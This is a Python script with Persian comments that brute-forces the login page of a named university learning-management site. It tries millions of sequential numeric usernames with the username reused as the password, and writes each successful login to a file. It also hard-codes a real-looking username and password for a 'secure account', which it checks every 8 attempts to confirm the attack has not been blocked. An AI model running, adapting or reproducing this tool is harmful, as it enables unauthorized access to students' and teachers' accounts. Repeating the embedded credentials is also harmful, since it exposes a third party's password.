import requests
import time

LOGIN_URL = "https://lms24.tvu.ac.ir/login"
LOGOUT_URL = "https://lms24.tvu.ac.ir/teacher/logout"
SUCCESS_KEYWORD = "/teacher/"
SUCCESS_KEYWORD2 = "/student/"
START = 673225758
END = 679999999

# حساب امن
SECURE_USERNAME = "04111062300025"
SECURE_PASSWORD = "7210007415"

# شمارنده برای تست‌های معمولی
test_counter = 0

def attempt_login(username, password):
    session = requests.Session()
    
    payload = {
        "username": username,
        "password": password,
        "login": "true"
    }
    
    try:
        response = session.post(LOGIN_URL, data=payload, 
                               allow_redirects=True, timeout=5)
        
        if SUCCESS_KEYWORD in response.url or SUCCESS_KEYWORD2 in response.url:
            session.close()
            return True, username
    except:
        pass
    
    session.close()
    return False, None

def logout():
    try:
        session = requests.Session()
        session.get(LOGOUT_URL, timeout=3)
        session.close()
    except:
        pass

def test_secure_account():
    """تست حساب امن"""
    print(f"🔐 تست حساب امن: {SECURE_USERNAME}")
    success, username = attempt_login(SECURE_USERNAME, SECURE_PASSWORD)
    
    if success:
        print(f"✅ ورود موفق به حساب امن: {username}")
        return True
    else:
        print(f"❌ ورود ناموفق به حساب امن")
        return False

def main():
    global test_counter
    
    print("=" * 60)
    print("🔒 بررسی حساب امن در ابتدای اجرا...")
    
    # بررسی حساب امن در ابتدای اجرا
    secure_account_success = test_secure_account()
    
    if not secure_account_success:
        print("\n❌ حساب امن معتبر نیست! برنامه متوقف می‌شود.")
        return
    
    print("\n✅ حساب امن تأیید شد. ادامه می‌دهیم...")
    print("=" * 60)
    
    print(f"\n🚀 شروع تست ترتیبی از {START} تا {END}")
    print(f"📋 الگو: هر ۵ تست معمولی، یک بار حساب امن تست می‌شود\n")
    print("=" * 60)
    
    for number in range(START, END + 1):
        username = str(number).zfill(10)
        test_counter += 1
        
        # تست حساب معمولی
        print(f"[{test_counter}] 🔍 تست: {username}")
        success, result_username = attempt_login(username, username)
        
        if success:
            print(f"   ✅ ورود موفق: {result_username}")
            with open("success_accounts.txt", "a", encoding="utf-8") as f:
                f.write(f"{result_username}\n")
        
        # هر ۵ تست، یک بار حساب امن را بررسی کن (بدون ذخیره در فایل)
        if test_counter % 8 == 0:
            print(f"\n--- نقطه بررسی بعد از {test_counter} تست ---")
            if test_secure_account():
                print("✅ حساب امن هنوز فعال است")
            else:
                print("❌ مشکل در حساب امن!")
                print("⚠️ برنامه متوقف می‌شود!")
                return
            print("-" * 40 + "\n")
        

    
    print("\n🏁 برنامه با موفقیت به پایان رسید!")

if __name__ == "__main__":
    main()
